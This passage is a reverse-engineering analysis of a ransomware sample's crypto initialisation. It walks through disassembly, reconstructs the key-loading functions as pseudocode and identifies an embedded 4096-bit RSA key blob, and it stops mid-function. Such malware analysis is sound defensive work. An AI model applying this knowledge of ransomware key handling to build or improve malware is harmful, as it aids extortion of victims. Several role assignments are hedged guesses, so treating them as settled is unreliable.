MOV [RSP + local_28], R14 ; local_28 = keyBlob (5th arg)
XOR param_3, param_3 ; R8 = 0
MOV param_2, RDI ; RDX = sub2 (or 0 if flag==1)
MOV param_1, RSI ; RCX = sub1
CALL FUN_14008a730 ; bool FUN_14008a730(...)
CMP EAX, 1
JNZ LAB_1400847af ; if != 1 → return -3
Windows x64 calling convention:
RCX = arg1 = sub1
RDX = arg2 = sub2 (or NULL if flag==1)
R8 = arg3 = 0
R9 = arg4 = keyParam (the integer from atoi(...))
5th arg (on stack) = keyBlob at 0x1400fb080
Basically –
bool ok = FUN_14008a730(
sub1, // ctx->sub1
sub2, // ctx->sub2 or NULL
NULL,
keyParam, // from atoi(&LAB_1400fc07f+1)
keyBlob // blob at 0x1400fb080
);
if (!ok) return -3;
This FUN_14008a730 is the real key/import routine: it consumes the blob at 0x1400fb080 and the numeric parameter and configures the internal crypto contexts.
After success –
MOV byte ptr [RBX + 0x2], AL ; ctx->flag2 = 1
offset +2 in the main context is an “initialized” flag.
Section 5 - Optional extra setup via FUN_140084850
they branch again on BPL (the incoming flag):
TEST BPL, BPL
JZ LAB_1400847a0
; flag != 0
MOV param_1, RBX
CALL FUN_140084850 ; extra setup
TEST EAX, EAX
JZ LAB_1400847a4 ; on 0, fall through but still success
JMP LAB_1400847b4
LAB_1400847a0: ; flag == 0 case
MOV byte ptr [RBX + 0x3], 1 ; ctx->flag3 = 1
LAB_1400847a4:
XOR EAX, EAX ; return 0
LAB_1400847b4:
restore registers / return
If flag == 1 (your sample):
FUN_140084850(ctx) is called.
Regardless of return, the function ends up returning 0 (success).
It does not touch [ctx+0x3] in this branch.
If flag == 0:
It sets ctx->flag3 = 1 and returns 0.
FUN_14004d4c0, will always call:
FUN_1400846b0(ctx, keyParam, 0x1400fb080, 1);
sub1 is allocated / used.
sub2 is not allocated (RDI stays 0).
FUN_14008a730(sub1, NULL, NULL, keyParam, keyBlob) is used.
FUN_140084850(ctx) runs as an additional step.
Section Six – Reconstruction :
int init_crypto_ctx(CryptoCtx *ctx, long keyParam, const void *keyBlob, bool useExtraMode)
{
CryptoSubCtx1 *sub1;
CryptoSubCtx2 *sub2 = NULL;
if (keyParam == 0)
return -2;
if (keyBlob == NULL)
return -1;
// refuse to re-init
if (ctx->sub2 != NULL ||
ctx->sub1 != NULL ||
ctx->flag3 != 0 ||
ctx->flag2 != 0)
{
return -3;
}
// sub-context #1
sub1 = (CryptoSubCtx1*)operator_new(0x28);
ctx->sub1 = sub1;
if (!sub1)
return -7;
FUN_14008a550(sub1); // ctor
// sub-context #2 (only if useExtraMode == false)
if (!useExtraMode) {
sub2 = (CryptoSubCtx2*)operator_new(0x68);
ctx->sub2 = sub2;
if (!sub2)
return -7;
FUN_14008a5e0(sub2); // ctor
}
// real key import / setup
if (!FUN_14008a730(sub1, sub2, NULL, keyParam, keyBlob))
return -3;
ctx->flag2 = 1; // “ready” / initialized
if (useExtraMode) {
// your sample: useExtraMode == true
// extra setup / verify / maybe derive victim-specific material
(void)FUN_140084850(ctx);
return 0;
} else {
ctx->flag3 = 1;
return 0;
}
}
int init_crypto_ctx(CryptoCtx *ctx, long keyParam, const void *keyBlob, bool useExtraMode)
{
CryptoSubCtx1 *sub1;
CryptoSubCtx2 *sub2 = NULL;
if (keyParam == 0)
return -2;
if (keyBlob == NULL)
return -1;
// refuse to re-init
Section Seven – Overview
This is the single choke point where:
The embedded key/config blob at 0x1400fb080
And the numeric parameter from atoi(&LAB_1400fc07f+1)
are handed to FUN_14008a730.
If we break on FUN_1400846b0 or FUN_14008a730 at runtime, we can:
Inspect keyParam (R9),
Dump the blob at keyBlob (5th arg / 0x1400fb080),
trace through FUN_14008a730 to see how it:
Interprets that blob (RSA/ECC key, symmetric key, config struct),
Sets up the cipher mode (AES-CTR/XTS, ChaCha, etc.),
Possibly derives per-victim keys.
FUN_1400846b0 itself is just plumbing and validation. The actual crypto logic lives in:
FUN_14008a550 / FUN_14008a5e0 (sub-context ctors)
FUN_14008a730 (key import + algorithm selection)
Whatever functions those call downstream
Section Eight –
From function (FUN_1400846b0):
; inside FUN_1400846b0
uVar13 = atoi(&LAB_1400fc07f+1);
uVar22 = FUN_1400846b0((longlong)puVar21,(ulonglong)uVar13,0x1400fb080,'\x01');
in the call to FUN_14008a730:
LAB_14008476f:
4d 8b cf MOV param_4, R15 ; R15 = keyParam (from atoi)
4c 89 74 24 20 MOV [RSP+local_28], R14 ; R14 = pointer to key blob (0x1400fb080)
45 33 c0 XOR param_3, param_3 ; R8D = 0
48 8b d7 MOV param_2, RDI ; RDI is 0 when flag==1 → param_2 = NULL
48 8b ce MOV param_1, RSI ; param_1 = sub1 context
e8 ab 5f 00 00 CALL FUN_14008a730
param_1 = pointer to the primary crypto context (sub1)
param_2 = NULL (no second context used in your execution path)
param_3 = 0 (not used by caller here, but function supports it)
param_4 = integer from atoi(&LAB_1400fc07f+1) (some “key version / mode”)
param_5 = pointer to a blob at 0x1400fb080 (static embedded key/config blob)
That matters because inside FUN_14008a730 immediately rewires param_4 and param_5 into a parser.
FUN_14008a730(ulonglong *param_1, ulonglong *param_2, uint param_3,
longlong param_4, longlong param_5)
14008a730 48 89 5c 24 08 MOV [RSP + local_res8], RBX
14008a735 48 89 74 24 10 MOV [RSP + local_res10], RSI
14008a73a 57 PUSH RDI
14008a73b 48 83 ec 50 SUB RSP, 0x50
14008a73f 41 8b f0 MOV ESI, param_3 ; save original param_3 (algo id?) in ESI
14008a742 48 8b fa MOV RDI, param_2 ; RDI = optional second ctx
; load 5th arg (blob pointer) from stack and repurpose it as 'param_3' (R8) for next call
14008a745 4c 8b 84 24 80 00 00 00 MOV param_3, [RSP + param_5]
14008a74d 48 8b d9 MOV RBX, param_1 ; RBX = main ctx
14008a750 49 8b d1 MOV param_2, param_4 ; RDX = keyParam (atoi result)
; Build args for parser:
; RCX = &local_38, RDX = keyParam, R8 = blob
14008a753 48 8d 4c 24 20 LEA param_1=>local_38, [RSP + 0x20]
14008a758 e8 23 17 00 00 CALL FUN_14008be80 ; parse blob into local_38
14008a75d 83 f8 02 CMP EAX, 2
14008a760 0f 85 d3 00 00 00 JNZ LAB_14008a839 ; must return 2 or fail
; if param_2 != NULL, use alternate path
14008a766 48 85 ff TEST RDI, RDI
14008a769 74 23 JZ LAB_14008a78e ; if no second ctx → go to complex branch
; ------------- quick path: both contexts present -----------------
14008a76b 4c 8d 4c 24 20 LEA param_4=>local_38, [RSP + 0x20]
14008a770 44 8b c6 MOV param_3, ESI ; restore original param_3
14008a773 48 8b d7 MOV param_2, RDI ; second ctx
14008a776 48 8b cb MOV param_1, RBX ; main ctx
14008a779 e8 d2 00 00 00 CALL FUN_14008a850 ; param_1,param_2,param_3,&local_38
14008a77e 48 8b 5c 24 60 MOV RBX, [RSP + local_res8]
14008a783 48 8b 74 24 68 MOV RSI, [RSP + local_res10]
14008a788 48 83 c4 50 ADD RSP, 0x50
14008a78c 5f POP RDI
14008a78d c3 RET ; returns bool from FUN_14008a850
param_2 == NULL, so we skip that and go to the longer branch.
Section 8:1 – single context branch
LAB_14008a78e:
CMP [RSP + local_20], 0x1010
JNZ LAB_14008a839 ; must be 0x1010
LEA param_1=>local_38,[RSP+0x20]
CALL FUN_14008bd10(local_38)
CMP EAX,1
JNZ LAB_14008a839 ; expect 1
MOV param_3, ESI ; restore caller’s param_3
LEA param_2,[RBX+8] ; &ctx->slot1
LEA param_1=>local_38,[RSP+0x20]
CALL FUN_14008bd50(local_38, &ctx[1], param_3)
TEST EAX,EAX
JZ LAB_14008a839 ; must be true
LEA param_1,[RBX+8]
CALL FUN_14008a010(&ctx[1])
TEST EAX,EAX
JLE LAB_14008a839 ; must be > 0
LEA param_1=>local_38,[RSP+0x20]
CALL FUN_14008bea0(local_38)
CMP EAX,1
JNZ LAB_14008a839 ; must be 1
CMP [RSP + local_20], 2
JNZ LAB_14008a839 ; now type/tag must be 2
MOV param_3, ESI
LEA param_2,[RBX+0x18] ; &ctx->slot2
LEA param_1=>local_38,[RSP+0x20]
CALL FUN_14008bd50(local_38, &ctx[3], param_3)
TEST EAX,EAX
JZ LAB_14008a839 ; must be true
LEA param_1,[RBX+0x18]
CALL FUN_14008a010(&ctx[3])
TEST EAX,EAX
JLE LAB_14008a839 ; must be > 0
LEA param_1=>local_38,[RSP+0x20]
CALL FUN_14008bea0(local_38)
CMP EAX,3
JNZ LAB_14008a839
; finalization
MOV param_1, RBX
CALL FUN_14008a580(param_1)
TEST EAX,EAX
JZ LAB_14008a839
; success → fall through, restore regs, return true
LAB_14008a839:
; failure → restore regs, return false
FUN_14008be80 parses the entire blob (header + sections) into local_38 and sets local_20.
When param_2 == NULL:
It requires local_20 == 0x1010 (top-level tag / header type).
Then uses a sequence of bd10, bd50, a010, bea0 calls to iterate sub-records and fill two internal “slots” in param_1:
param_1 + 1 (offset 0x8)
param_1 + 3 (offset 0x18)
It expects:
after first bea0(): local_20 == 2
after second bea0(): return == 3
Finally calls FUN_14008a580(param_1) to finalize.
If any of these conditions fail, we go to LAB_14008a839 and return false.
Section Nine –
Cleaned up reconstruction
// param_1: primary crypto context (sub1)
// param_2: optional secondary context (sub2), can be NULL
// param_3: algo/config id (from caller)
// param_4: keyParam (atoi(...) result)
// param_5: pointer to embedded key/config blob
bool FUN_14008a730(
CryptoCtxSub1 *ctx,
CryptoCtxSub2 *maybeCtx2,
uint algoId,
uint keyParam,
const void *blob
)
{
ParserState ps; // represented by local_38[3]
int tag; // local_20
// parse outer structure: blob + keyParam
int r = FUN_14008be80(&ps, keyParam, blob);
if (r != 2)
return false;
// ---------- mode A: both crypto contexts supplied ----------
if (maybeCtx2 != NULL) {
// Hand off to a “dual context” setup function.
return FUN_14008a850(ctx, maybeCtx2, algoId, &ps);
}
// ---------- mode B (your case): single context with two slots ----------
if (tag != 0x1010) // top-level type must be 0x1010
return false;
// Step into first inner record
if (FUN_14008bd10(&ps) != 1)
return false;
// Parse first substructure into ctx->slot1 (offset 0x8)
if (!FUN_14008bd50(&ps, &ctx->slot1, algoId))
return false;
// Validate that slot1 is usable (probably returns key length or >0 means valid)
if (FUN_14008a010(&ctx->slot1) <= 0)
return false;
// Advance parser to next section
if (FUN_14008bea0(&ps) != 1)
return false;
if (tag != 2) // now parser says “type 2”
return false;
// Parse second substructure into ctx->slot2 (offset 0x18)
if (!FUN_14008bd50(&ps, &ctx->slot2, algoId))
return false;
if (FUN_14008a010(&ctx->slot2) <= 0)
return false;
// Advance again – now expecting final section type “3”
if (FUN_14008bea0(&ps) != 3)
return false;
// Finalize/internal derive (likely builds full key schedule / S-box / etc.)
if (!FUN_14008a580(ctx))
return false;
return true;
}
Where:
ParserState ps is the structure backed by local_38[3] + local_20.
tag (local_20) is a “current section type / tag” that gets updated by the parsing helpers.
The decompiler’s “(int)CONCAT71(extraout_var,bVar1)” stuff is just IDA dealing with a bool returned in AL and widening it. We treat FUN_14008bd50, FUN_14008a850, and FUN_14008a580 as returning C++–style bool.
Section Ten – What are the elves doing –
Based on the pattern:
FUN_14008be80(ps, keyParam, blob) → Parses the whole key/config blob (at 0x1400fb080) using keyParam (the atoi result). → Returns 2 on success, sets ps + tag.
FUN_14008bd10(ps) → “Enter first child” / start iterating sub-records of the parsed blob. → Returning 1 means: “OK, we’re at the first sub-record, tag in local_20”.
FUN_14008bd50(ps, slot, algoId) → Decode/decrypt one sub-record into slot inside the crypto context. → Uses algoId (original param_3) to decide how to interpret it (algorithm/mode/version). → Returns bool.
FUN_14008a010(slot) → Validate slot; returns an int (likely size, key length, or some property). → Must be > 0 to continue.
FUN_14008bea0(ps) → Advance the parser to the next record, returning e.g. 1,2,3 to indicate which stage/section we’re at. Also updates local_20 with the new “type” value.
FUN_14008a580(ctx) → Finalize the context after both slot1 and slot2 are filled. → Likely derives final per-session key material, precomputes tables, etc.
From the constants:
First outer tag == 0x1010 → top-level type/value, “container format v0x1010”
After first bea0, we have tag == 2 → First component type = 2
After second bea0, we have return == 3 → Final section type = 3 — metadata / additional parameter.
It is a custom key container format baked into the binary at 0x1400fb080, with structure:
Header (type 0x1010)
Section type 2 → goes into ctx->slot1
Section type 3 → goes into ctx->slot2
keyParam + algoId steer how the parsing / derivation is done.
Section Eleven – How it fits
Putting all three functions together:
FUN_14004d4c0
Parses --encryption_path, --share_file, --encryption_percent, etc.
Initializes CPU/thread counts.
Calls FUN_1400839e0 / FUN_1400846b0 to set up crypto.
FUN_1400846b0
Allocates CryptoCtxSub1 (0x28 bytes) and optionally CryptoCtxSub2 (0x68 bytes).
Then calls FUN_14008a730 to populate key material from keyParam and the blob at 0x1400fb080.
Marks flags in ctx to say “crypto initialized”.
FUN_14008a730 (this function)
Parses the key blob with FUN_14008be80.
For your path (param_2 == NULL), it:
extracts two internal “key slots” into param_1 + 1 and param_1 + 3,
validates each with FUN_14008a010,
then finalizes the context with FUN_14008a580.
Section 12 - What FUN_14008bd50 takes and returns
Signature from the call sites and asm:
// bool __fastcall FUN_14008bd50(longlong param_1, int *param_2, uint param_3);
bool __fastcall FUN_14008bd50(
longlong ps, // param_1 – parser state, same structure as in FUN_14008a730
int *slot, // param_2 – destination structure/slot in the crypto context
uint limit // param_3 – length/bit-length bound; 0 means "no bound"
);
mov rdi, param_2 ; RDI = slot
mov ebx, param_3 ; EBX = limit
mov param_2, [param_1 + 0x20] ; RDX = *(u64*)(ps+0x20) → length
mov param_3, param_1 ; R8 = ps
Therefore –
*(u64*)(ps + 0x20) = len of the current encoded field
*(u64*)(ps + 0x28) = pointer to the bytes for that field
Those are the same layouts in FUN_14008be00.
Section 13 –
Header / canonicality checks
First block –
mov rdx, [ps + 0x20] ; len
mov r8, ps ; keep ps in r8
cmp rdx, 1
jbe LAB_14008bd96 ; if len <= 1: skip special check
mov rax, [ps + 0x28] ; rax = data
movzx rcx, byte ptr [rax] ; rcx = first byte
test rcx, rcx
jnz LAB_14008bd8b ; if first != 0 → go to second case
; first == 0
cmp byte ptr [rax+1], 0x80
jnc LAB_14008bd96 ; if second >= 0x80 → OK → continue
; else (second < 0x80) → fall-through → fail
LAB_14008bd7e:
xor eax,eax ; return false
restore_regs_and_ret
LAB_14008bd8b:
cmp cl, 0xFF
jnz LAB_14008bd96 ; if first != 0xFF → OK → continue
; first == 0xFF
cmp byte ptr [rax+1], 0x80
jnc LAB_14008bd7e ; if second >= 0x80 → fail
; else (second < 0x80) → OK → continue
What is Proper –
uint64 len = *(uint64 *)(ps + 0x20);
uint8 *data = *(uint8 **)(ps + 0x28);
if (len > 1) {
uint8 b0 = data[0];
uint8 b1 = data[1];
// Reject overlong sign-extended encodings:
if ((b0 == 0x00 && b1 < 0x80) || // 00 xx with high bit clear → overlong positive
(b0 == 0xFF && b1 >= 0x80)) { // FF xx with high bit set → overlong negative
return false;
}
}
That is exactly the kind of “canonical DER INTEGER” check you see in ASN.1:
No extra leading 0x00 for positives whose high bit isn’t set.
No extra leading 0xFF for negatives whose high bit is set.
So whatever this field is, its refusing non-canonical big-int encodings.
Section 14: Length-bound vs unbounded paths
Next block –
LAB_14008bd96:
test ebx, ebx
jz LAB_14008bdd8 ; if limit == 0 → special "unbounded" path
Hence:
limit == 0 → accept any length (subject only to the header/DER check).
limit != 0 → enforce some length constraints.
Section 14.1 – bounded case
; limit != 0
lea rcx, [rbx + 0x10] ; rcx = limit + 0x10
lea rax, [rdx*8] ; rax = len * 8
cmp rax, rcx
ja LAB_14008bd7e ; if (len * 8 > limit + 0x10) → fail
mov r8, [r8 + 0x28] ; r8 = data pointer (ps->ptr)
mov rcx, rdi ; rcx = slot
; rdx still = len
call FUN_14008a380(slot, len, data)
mov edx, 2 ; param_2 = 2
mov rcx, rdi ; param_1 = slot
call FUN_14008a030(slot, 2) ; returns some size/length
xor edx, edx
cmp rax, rbx ; rax = result, rbx = limit
setbe dl ; EDX = (rax <= limit)
mov eax, edx ; bool return
restore_regs_and_ret
in C
uint64 len = *(uint64 *)(ps + 0x20);
uint8 *data = *(uint8 **)(ps + 0x28);
// require raw encoded length not to exceed (limit + 0x10) bits
if (len * 8 > (uint64)limit + 0x10)
return false;
// Decode the chunk into the output slot
FUN_14008a380(slot, len, data);
// Ask the slot helper about the “effective length” of field 2
uint64 valueLen = FUN_14008a030(slot, 2);
// True only if effective length <= limit
return (valueLen <= limit);
Interpretation:
FUN_14008a380 → “decode this canonical big-int blob into slot”.
FUN_14008a030(slot, 2) → “give me the length/bit-length of component #2 of this slot”.
limit = maximum allowed length (very likely bits, given the len*8).
Bounded mode is: “Decode this integer into slot, but only succeed if its size is within a given upper bound”.
Section 15:
Unbounded case (limit == 0)
LAB_14008bdd8:
mov r8, [r8 + 0x28] ; r8 = data pointer
mov rcx, rdi ; rcx = slot
; rdx is still len
call FUN_14008a380(slot, len, data)
mov eax, 1 ; return true
restore_regs_and_ret
In C -
if (limit == 0) {
uint64 len = *(uint64 *)(ps + 0x20);
uint8 *data = *(uint8 **)(ps + 0x28);
FUN_14008a380(slot, len, data);
return true;
}
when limit==0, the function just:
Applies the canonical header check (no overlong 0x00/0xFF), then
Decodes the data into slot, no further size checks → returns true.
Section 16:
Clean pseudocode for FUN_14008bd50
bool FUN_14008bd50(void *ps_, int *slot, uint limit)
{
uint64 len = *(uint64 *)((uint8*)ps_ + 0x20);
uint8 *data = *(uint8 **)((uint8*)ps_ + 0x28);
// 1) Canonicality check on the first 1–2 bytes (DER-like INTEGER rules)
if (len > 1) {
uint8 b0 = data[0];
uint8 b1 = data[1];
// Forbid overlong sign-extended encodings:
// 00 xx where high bit clear -> overlong positive
// FF xx where high bit set -> overlong negative
if ((b0 == 0x00 && b1 < 0x80) ||
(b0 == 0xFF && b1 >= 0x80)) {
return false;
}
}
// 2) Unbounded mode: just decode into slot
if (limit == 0) {
FUN_14008a380(slot, len, data);
return true;
}
// 3) Bounded mode: enforce raw encoded length
if (len * 8 > (uint64)limit + 0x10)
return false;
FUN_14008a380(slot, len, data);
// 4) Enforce logical/effective length (field #2 in the decoded structure)
uint64 effLen = FUN_14008a030(slot, 2);
return (effLen <= limit);
}
It’s a field parser that:
Ensures canonical integer encoding.
Optionally enforces a “max size” constraint.
Decodes into a structured slot via FUN_14008a380.
Optionally asks FUN_14008a030(slot, 2) for the real length and checks it.
In the current call path from FUN_14008a730, limit is always 0 (ESI was set to param_3 of FUN_14008a730, which the caller passed as 0), so we will always in the unbounded branch:
For the ransomware’s “normal” init path, FUN_14008bd50 only does canonicality checking + decode and never enforces those size limits.
The bounded logic will matter if the other caller FUN_14008a850 (the multi-context path) passes a non-zero param_3.
Section 17: How FUN_14008be00 fits in
decompiled FUN_14008be00:
undefined8 FUN_14008be00(longlong param_1,uint *param_2)
{
byte *pbVar1;
byte bVar2;
longlong lVar3;
uint uVar4;
ulonglong uVar5;
ulonglong uVar6;
ulonglong uVar7;
uVar7 = *(ulonglong *)(param_1 + 0x20);
if (4 < uVar7 - 1) {
return 0;
}
lVar3 = *(longlong *)(param_1 + 0x28);
bVar2 = *(byte *)(lVar3 + -1 + uVar7);
if (0x7f < bVar2) {
return 0;
}
if (((1 < uVar7) && (bVar2 == 0)) && (*(byte *)(lVar3 + -2 + uVar7) < 0x80)) {
return 0;
}
if (uVar7 == 5) {
if (*(char *)(lVar3 + 4) != '\0') {
return 0;
}
uVar5 = 0;
uVar7 = 4;
uVar6 = uVar5;
}
else {
uVar5 = 0;
uVar4 = 0;
uVar6 = 0;
if (uVar7 == 0) goto LAB_14008be73;
}
do {
pbVar1 = (byte *)(uVar6 + lVar3);
uVar6 = (ulonglong)((int)uVar6 + 1);
uVar4 = (int)uVar5 << 8 | (uint)*pbVar1;
uVar5 = (ulonglong)uVar4;
} while (uVar6 < uVar7);
LAB_14008be73:
*param_2 = uVar4;
return 1;
}
Cleaned up –
// Returns 1 on success, 0 on failure
bool FUN_14008be00(void *ps_, uint *outVal)
{
uint64 len = *(uint64 *)((uint8*)ps_ + 0x20);
uint8 *data = *(uint8 **)((uint8*)ps_ + 0x28);
// Require 1..5 bytes
if (len == 0 || len > 5)
return false;
uint8 last = data[len - 1];
if (last >= 0x80)
return false; // negative, or sign bit set => not allowed
// Overlong form: trailing 0 and previous byte doesn't have sign bit set
if (len > 1 && last == 0 && data[len - 2] < 0x80)
return false;
// Special case: 5-byte sequence must have highest byte == 0, then treat as 4 bytes
uint64 n = len;
if (len == 5) {
if (data[4] != 0)
return false;
n = 4;
}
uint v = 0;
for (uint64 i = 0; i < n; ++i)
v = (v << 8) | data[i];
*outVal = v;
return true;
}
This is a big-endian, non-negative, canonical integer decoding with:
No negative values allowed.
No overlong encodings (no extra bytes that don’t change sign/most-significant bits).
Up to 32 bits (4 bytes; the 5th byte is only to clear the sign bit when needed).
FUN_14008be00 and FUN_14008bd50 are clearly part of the same small ASN.1-/DER-style numeric decoding subsystem:
FUN_14008be00 = “decode a 32-bit unsigned integer from the current TLV/value.”
FUN_14008bd50 = “decode a bigger chunk (big-int / key / parameter) into a slot, with canonical header checks and optional size limit.”
Section 18: key blob (0x1400fb080)
FUN_1400846b0 allocates the crypto context structure(s) and calls:
FUN_14008a730(ctxSub1, maybeCtx2, 0, keyParam, blobPtr);
where:
keyParam = atoi(&LAB_1400fc07f+1)
blobPtr = 0x1400fb080 (embedded key/config blob)
FUN_14008a730 parses that blob with FUN_14008be80, then (in the single-context path its exercising) calls FUN_14008bd50 twice:
once to fill ctx+0x08
once to fill ctx+0x18
In the call path, param_3 for FUN_14008a730 is 0, therefore:
ESI = 0
both calls to FUN_14008bd50 run with limit == 0 → unbounded mode.
That means:
FUN_14008bd50 acts as:
“Decode a canonical DER-like integer blob into ctx->slot, using FUN_14008a380 to populate that structure. Don’t enforce any key-length bound; just reject malformed encodings.”
Section 19: RSA-style (public-key) crypto
Searching the assembly we find -
// (roughly)
if (FUN_14008be80(local_38, param_4, param_5) == 2) {
if (param_2 != NULL) {
// multi-context path
return FUN_14008a850(...);
}
if (local_20 == 0x1010 &&
FUN_14008bd10(local_38) == 1 &&
FUN_14008bd50(local_38, (int*)(param_1 + 0x8), 0) &&
FUN_14008a010(param_1 + 0x8) > 0 &&
FUN_14008bea0(local_38) == 1 &&
local_20 == 2 &&
FUN_14008bd50(local_38, (int*)(param_1 + 0x18), 0) &&
FUN_14008a010(param_1 + 0x18) > 0 &&
FUN_14008bea0(local_38) == 3 &&
FUN_14008a580(param_1)) {
return true;
}
}
return false;
Parse an outer structure (be80).
Verify a “type” or “OID” (local_20 == 0x1010).
Read first big integer into param_1+0x08.
Read second big integer into param_1+0x18.
Finalize a crypto object via FUN_14008a580(param_1).
That pattern is typical of “build a public/private key object from two or more DER-encoded INTEGER fields” – which is how RSA, DSA, and some EC formats are represented. Combined with the DER-canonical rules, RSA is the most likely candidate.
The part of the code is public-key / big-integer crypto, RSA-style.
Section 20: Bytes – not assembly
1400fb07f 00 30 ADD byte ptr [RAX],DH
1400fb081 82 ??
1400fb082 02 0a ADD CL,byte ptr [RDX]
1400fb084 02 82 02 ADD AL,byte ptr [RDX + -0x1dfffefe]
01 00 e2
1400fb08a 79 23 JNS LAB_1400fb0af
...
If we stop treating it as instructions and just take the raw bytes from 0x1400FB080:
Hex 00 30 82 02 0A 02 82 02 01 00 E2 79 23 36 85 E3 AA 74 42 ...
That prefix is recognizable:
30 – ASN.1 SEQUENCE tag
82 – “long form” length, 2-byte length follows
02 0A – total length = 0x020A (522 bytes)
02 – ASN.1 INTEGER tag
82 02 01 – integer length = 0x0201 (513 bytes)
00 – leading 0x00 to keep the big integer positive
Then lots of non-ASCII bytes: E2 79 23 36 85 E3 AA 74 42 ...
That is textbook DER-encoded RSA modulus:
A big SEQUENCE
First INTEGER = RSA modulus (513 bytes = 0x00 + 512-byte modulus → 4096-bit RSA key)
Followed by exponent and/or additional parameters depending on exact structure.
Ghidra misinterpreted the DER blob as x86-64 code because the section is marked executable. But logically, this is key material, not instructions.
Section 21 –
From earlier –
In C
uVar13 = FID_conflict:atoi(&LAB_1400fc07f+1);
uVar22 = FUN_1400846b0((longlong)puVar21,(ulonglong)uVar13,0x1400fb080,'\x01');
atoi(&LAB_1400fc07f+1) reads some ASCII number (probably a thread count).
Then FUN_1400846b0(ctx, count, 0x1400FB080, 1) is called.
Inside FUN_1400846b0:
It allocates crypto/context buffers.
Then it calls FUN_14008a730(ctx->field_18, ctx->field_20, flag, 0x1400FB080, …).
And from the decompilation of FUN_14008a730:
It passes that pointer into FUN_14008be80, FUN_14008bd10, FUN_14008bd50, FUN_14008bea0, FUN_14008a580, etc.
These helper functions behave like ASN.1/DER parsers and big-integer importers:
FUN_14008bd50 uses param_1+0x20 as length and param_1+0x28 as buffer, checks tag/length and then calls FUN_14008a380 and FUN_14008a030 (bignum import / key setup).
FUN_14008be00 validates TLV-style constraints and reconstructs an integer from big-endian bytes, another strong sign of DER/bignum parsing.
the flow is:
FUN_14004d4c0 → determines some numeric parameter (threads / percent / etc).
FUN_1400846b0(..., ptr=0x1400FB080, flag=1) → "load/init crypto with key blob at 0x1400FB080".
FUN_14008a730 + FUN_14008bd50 + FUN_14008be00 → parse ASN.1 / import big integers → load an RSA key.
Section 22 – Type of encryption
From what we see now:
0x1400FB080 is a DER-encoded RSA key, almost certainly 4096-bit (0x201-byte modulus = 512-byte modulus + leading 0).
That key is being parsed by the crypto init routines (FUN_14008a730 and friends).
The binary is using RSA public-key cryptography, with a hard-coded RSA key blob at 0x1400FB080. The modulus length indicates a 4096-bit RSA key.
This RSA key is almost certainly used to:
encrypt/decrypt a symmetric key (e.g., for AES/ChaCha) that then does the actual file encryption.
For 0x1400FB080, the blob is RSA key material – not some custom byte rotation or XOR scheme.
Part Two – Mapped Path
1. FUN_14008a580 – “finalize key metadata / key size”
Decompiled:
bool FUN_14008a580(ulonglong *param_1)
{
ulonglong uVar1 = 0;
if ((*(uint *)param_1[2] & (uint)(*(int *)((longlong)param_1 + 0xc) != 0)) != 0) {
uVar1 = FUN_14008a030((longlong)(param_1 + 1), 2);
uVar1 = uVar1 + 7 >> 3;
if (uVar1 < 0xc) {
uVar1 = 0;
}
}
*param_1 = uVar1;
return uVar1 != 0;
}
Struct view (approx):
struct KeyCore {
uint64 key_len_bytes; // [0x00] <-- written by FUN_14008a580
// ...
int mode_flag; // [0x0C] (checked != 0)
uint64 algo_desc_ptr; // [0x10] pointer to algo / flags struct
// ...
// big integer (modulus etc) lives at (param_1 + 1)
};
Behavior:
Load param_1[2] (offset 0x10) → pointer algorithm descriptor.
Look at its first dword: *(uint*)param_1[2].
Look at *(int*)((longlong)param_1 + 0xC) → a flag/int in the key struct.
If mode_flag != 0 and the algo descriptor’s bitmask has that bit set, it continues; otherwise it sets key_len_bytes = 0 and returns false.
If the condition passes:
FUN_14008a030((longlong)(param_1 + 1), 2) gives you some measure of the bignum size (most likely number of bits).
uVar1 = (uVar1 + 7) >> 3 converts bits → bytes (ceil(bits/8)).
If that computed length is < 0x0C (12 bytes / 96 bits), it zeroes it out (too small / insecure).
Writes the resulting key_len_bytes into *param_1 and returns true iff non-zero.
Role in the key pipeline
In FUN_14008a730 (the ASN.1 key loader), after loading the two big INTEGERs (modulus + exponent/second integer) and walking the TLV, it calls:
if (FUN_14008a580(param_1)) {
return true;
}
FUN_14008a580 is the final “key sanity and size” step:
It uses the modulus bignum at (param_1 + 1) to compute an effective key size.
Stores that size in bytes at param_1[0].
Enforces a minimum effective size of ≥ 96 bits (trivial for RSA-4096, but the same routine services other algorithms too when used elsewhere).
For this sample: since the blob at 0x1400FB080 is a 4096-bit RSA modulus, this function will set key_len_bytes 4096 / 8 = 512.
2. FUN_14008a5e0 – initializer for the “secondary key context”
bool __fastcall FUN_14008a5e0(undefined8 * param_1)
{
PUSH RBX
SUB RSP,0x20
MOV RBX,param_1
ADD param_1,0x8
CALL FUN_1400892c0
LEA param_1,[RBX + 0x18]
CALL FUN_1400892c0
LEA param_1,[RBX + 0x28]
CALL FUN_1400892c0
LEA param_1,[RBX + 0x38]
CALL FUN_1400892c0
LEA param_1,[RBX + 0x48]
CALL FUN_1400892c0
LEA param_1,[RBX + 0x58]
CALL FUN_1400892c0
MOV qword ptr [RBX],0
...
RET
}
Interpretation
This is a pure initializer for a larger structure – probably another key/state object, with multiple internal bignums or buffers:
struct ExtKeyCtx {
uint64 derived_value; // [0x00]
BigThing field_8; // [0x08]
BigThing field_18; // [0x18]
BigThing field_28; // [0x28]
BigThing field_38; // [0x38]
BigThing field_48; // [0x48]
BigThing field_58; // [0x58]
};
FUN_1400892c0 is clearly a generic initializer for a “BigThing” (bignum, buffer, or similar). After initializing the 6 subfields, this function sets [RBX] = 0.
In FUN_1400846b0:
MOV param_1,RAX ; RAX = new 0x68-byte object
CALL FUN_14008a5e0
So that allocated object at [ctx + 0x20] is an ExtKeyCtx whose internals this function zeroes.
this secondary context supports:
CRT parameters (p, q, dp, dq, qinv),
or per-victim ephemeral cryptographic material
or a second RSA key / hybrid mode.
We can refine that with FUN_14008a630, which operates on this same structure.
3. FUN_14008a630 – combination / derivation on the secondary context
bool __fastcall FUN_14008a630(ulonglong * param_1)
{
// preserve RBX/RBP/RSI, etc.
RDI = param_1; // base of ExtKeyCtx
// length1 = size of field at +0x58
len1 = FUN_14008a020((longlong)(param_1 + 0xB)); // offset 0x58
// length2 = size of field at +0x28
len2 = FUN_14008a020((longlong)(param_1 + 0x5)); // offset 0x28
len_sum = len1 + len2;
// length3 = size of field at +0x18
len3 = FUN_14008a020((longlong)(param_1 + 0x3)); // offset 0x18
if (len_sum > len3) {
return false;
}
// local_18: temporary big-struct
init(local_18);
// combine [RDI+0x18] and [RDI+0x28] into local_18 via FUN_140089570
FUN_140089570(&local_18, (RDI + 0x18), (RDI + 0x28));
// derive a value from local_18
